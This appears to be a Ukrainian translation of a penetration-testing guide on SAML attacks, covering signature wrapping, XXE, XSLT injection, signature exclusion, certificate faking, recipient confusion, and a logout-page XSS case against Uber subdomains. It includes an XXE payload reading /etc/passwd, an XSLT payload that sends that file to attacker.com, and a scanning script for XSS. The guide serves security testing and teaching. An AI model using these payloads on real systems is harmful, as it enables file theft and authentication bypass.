SAML Attacks

Reading time: 12 minutes

SAML Attacks

Basic Information

SAML Basics

Tool

SAMLExtractor: Інструмент, який може взяти URL або список URL і вивести SAML consume URL.

XML round-trip

В XML підписана частина XML зберігається в пам'яті, потім виконується деяке кодування/декодування, і перевіряється підпис. Ідеально, щоб це кодування/декодування не змінювало дані, але в цьому сценарії дані, що перевіряються, і оригінальні дані можуть не бути однаковими.

Наприклад, перевірте наступний код:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Запуск програми проти REXML 3.2.4 або раніше призведе до наступного виходу замість цього:

First child in original doc: Y
First child after round-trip: Z

Це те, як REXML побачив оригінальний XML документ з програми вище:

А це те, як він його побачив після обробки та серіалізації:

Для отримання додаткової інформації про вразливість та способи її використання:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

Атаки на обгортку XML-підпису

У атаках на обгортку XML-підпису (XSW) противники використовують вразливість, що виникає, коли XML-документи обробляються через дві різні фази: перевірка підпису та виклик функції. Ці атаки передбачають зміну структури XML-документа. Зокрема, зловмисник впроваджує підроблені елементи, які не порушують дійсність XML-підпису. Це маніпулювання має на меті створити розбіжність між елементами, які аналізуються логікою програми, та тими, що перевіряються модулем перевірки підпису. В результаті, хоча XML-підпис залишається технічно дійсним і проходить перевірку, логіка програми обробляє фальшиві елементи. Таким чином, зловмисник ефективно обходить захист цілісності та автентифікацію походження XML-підпису, що дозволяє впроваджувати довільний контент без виявлення.

Наступні атаки базуються на цьому блозі та цьому документі. Тож перевірте їх для отримання додаткових деталей.

XSW #1

• Стратегія: Додається новий кореневий елемент, що містить підпис.
• Наслідок: Валідатор може заплутатися між легітимним "Response -> Assertion -> Subject" та "зловмисним новим Response -> Assertion -> Subject", що призводить до проблем з цілісністю даних.

XSW #2

• Відмінність від XSW #1: Використовує відокремлений підпис замість обгорткового підпису.
• Наслідок: "Зловмисна" структура, подібно до XSW #1, має на меті обманути бізнес-логіку після перевірки цілісності.

XSW #3

• Стратегія: Створюється зловмисна Assertion на тому ж ієрархічному рівні, що й оригінальна assertion.
• Наслідок: Має на меті заплутати бізнес-логіку, щоб вона використовувала шкідливі дані.

XSW #4

• Відмінність від XSW #3: Оригінальна Assertion стає дочірнім елементом дублікату (зловмисної) Assertion.
• Наслідок: Подібно до XSW #3, але більш агресивно змінює структуру XML.

XSW #5

• Унікальний аспект: Ні підпис, ні оригінальна Assertion не відповідають стандартним конфігураціям (обгортковий/обгортковий/відокремлений).
• Наслідок: Скопійована Assertion обгортає підпис, змінюючи очікувану структуру документа.

XSW #6

• Стратегія: Схожа вставка місця, як у XSW #4 та #5, але з обертом.
• Наслідок: Скопійована Assertion обгортає підпис, який потім обгортає оригінальну Assertion, створюючи вкладену оманливу структуру.

XSW #7

• Стратегія: Вставляється елемент Extensions з копійованою Assertion як дочірнім.
• Наслідок: Це експлуатує менш обмежену схему елемента Extensions, щоб обійти контрзаходи перевірки схеми, особливо в бібліотеках, таких як OpenSAML.

XSW #8

• Відмінність від XSW #7: Використовує інший менш обмежений XML-елемент для варіанту атаки.
• Наслідок: Оригінальна Assertion стає дочірнім елементом менш обмеженого елемента, змінюючи структуру, використану в XSW #7.

Інструмент

Ви можете використовувати розширення Burp SAML Raider, щоб розібрати запит, застосувати будь-яку атаку XSW, яку ви виберете, і запустити її.

XXE

Якщо ви не знаєте, які види атак є XXE, будь ласка, прочитайте наступну сторінку:

XXE - XEE - XML External Entity

Відповіді SAML є зменшеними та закодованими в base64 XML-документами і можуть бути вразливими до атак XML External Entity (XXE). Маніпулюючи структурою XML відповіді SAML, зловмисники можуть намагатися експлуатувати вразливості XXE. Ось як така атака може бути візуалізована:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Інструменти

Ви також можете використовувати розширення Burp SAML Raider для генерації POC з SAML запиту для тестування на можливі вразливості XXE та SAML вразливості.

Перегляньте також цю доповідь: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT через SAML

Для отримання додаткової інформації про XSLT перейдіть до:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Розширювальні перетворення стилів (XSLT) можуть використовуватися для перетворення XML документів у різні формати, такі як HTML, JSON або PDF. Важливо зазначити, що перетворення XSLT виконуються до перевірки цифрового підпису. Це означає, що атака може бути успішною навіть без дійсного підпису; самопідписаний або недійсний підпис є достатнім для продовження.

Тут ви можете знайти POC для перевірки на такі вразливості, на сторінці hacktricks, згаданій на початку цього розділу, ви можете знайти корисні дані.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Ви також можете використовувати розширення Burp SAML Raider для генерації POC з SAML запиту для перевірки можливих вразливостей XSLT.

Перегляньте також цю доповідь: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

XML Signature Exclusion спостерігає за поведінкою реалізацій SAML, коли елемент Signature відсутній. Якщо цей елемент відсутній, перевірка підпису може не відбуватися, що робить його вразливим. Можна перевірити це, змінивши вміст, який зазвичай перевіряється підписом.

Tool

Ви також можете використовувати розширення Burp SAML Raider. Перехопіть SAML Response і натисніть Remove Signatures. Таким чином всі елементи Signature будуть видалені.

Після видалення підписів, дозвольте запиту продовжити до цілі. Якщо підпис не потрібен сервісу

Certificate Faking

Certificate Faking

Certificate Faking - це техніка для перевірки, чи правильно перевіряє постачальник послуг (SP), що SAML повідомлення підписане довіреним постачальником ідентифікації (IdP). Це передбачає використання *самопідписаного сертифіката для підписання SAML Response або Assertion, що допомагає оцінити процес перевірки довіри між SP та IdP.

Як провести Certificate Faking

Наступні кроки описують процес використання розширення Burp SAML Raider:

1. Перехопіть SAML Response.
2. Якщо відповідь містить підпис, надішліть сертифікат до SAML Raider Certs, використовуючи кнопку Send Certificate to SAML Raider Certs.
3. У вкладці Сертифікати SAML Raider виберіть імпортований сертифікат і натисніть Save and Self-Sign, щоб створити самопідписаний клон оригінального сертифіката.
4. Поверніться до перехопленого запиту в проксі Burp. Виберіть новий самопідписаний сертифікат з випадаючого списку XML Signature.
5. Видаліть будь-які існуючі підписи за допомогою кнопки Remove Signatures.
6. Підпишіть повідомлення або підтвердження новим сертифікатом, використовуючи кнопку (Re-)Sign Message або (Re-)Sign Assertion, відповідно.
7. Перешліть підписане повідомлення. Успішна аутентифікація вказує на те, що SP приймає повідомлення, підписані вашим самопідписаним сертифікатом, що виявляє потенційні вразливості в процесі перевірки SAML повідомлень.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion та Service Provider Target Confusion передбачають перевірку, чи правильно перевіряє постачальник послуг наміченого отримувача відповіді. По суті, постачальник послуг повинен відхиляти відповідь аутентифікації, якщо вона призначена для іншого постачальника. Критичним елементом тут є поле Recipient, яке знаходиться в елементі SubjectConfirmationData SAML Response. Це поле вказує URL, куди повинно бути надіслано підтвердження. Якщо фактичний отримувач не відповідає наміченому постачальнику послуг, підтвердження слід вважати недійсним.

Як це працює

Для того, щоб атака SAML Token Recipient Confusion (SAML-TRC) була здійсненною, повинні бути виконані певні умови. По-перше, має бути дійсний обліковий запис на постачальнику послуг (називається SP-Legit). По-друге, цільовий постачальник послуг (SP-Target) повинен приймати токени від того ж постачальника ідентифікації, який обслуговує SP-Legit.

Процес атаки є простим за цих умов. Ініціюється автентична сесія з SP-Legit через спільного постачальника ідентифікації. SAML Response від постачальника ідентифікації до SP-Legit перехоплюється. Цей перехоплений SAML Response, спочатку призначений для SP-Legit, потім перенаправляється до SP-Target. Успіх цієї атаки вимірюється тим, що SP-Target приймає підтвердження, надаючи доступ до ресурсів під тим же ім'ям облікового запису, яке використовувалося для SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS в функції виходу

Оригінальне дослідження можна знайти за цим посиланням.

Під час процесу брутфорсингу директорій була виявлена сторінка виходу за адресою:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Після доступу до цього посилання відбулася переадресація на:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Це виявило, що параметр base приймає URL. Враховуючи це, виникла ідея замінити URL на javascript:alert(123); у спробі ініціювати атаку XSS (Cross-Site Scripting).

Масове використання

З цього дослідження:

Інструмент SAMLExtractor був використаний для аналізу піддоменів uberinternal.com для доменів, які використовують ту ж бібліотеку. Після цього був розроблений скрипт для націлювання на сторінку oidauth/prompt. Цей скрипт тестує на наявність XSS (Cross-Site Scripting), вводячи дані та перевіряючи, чи відображаються вони в виході. У випадках, коли введення дійсно відображається, скрипт позначає сторінку як вразливу.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Посилання

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/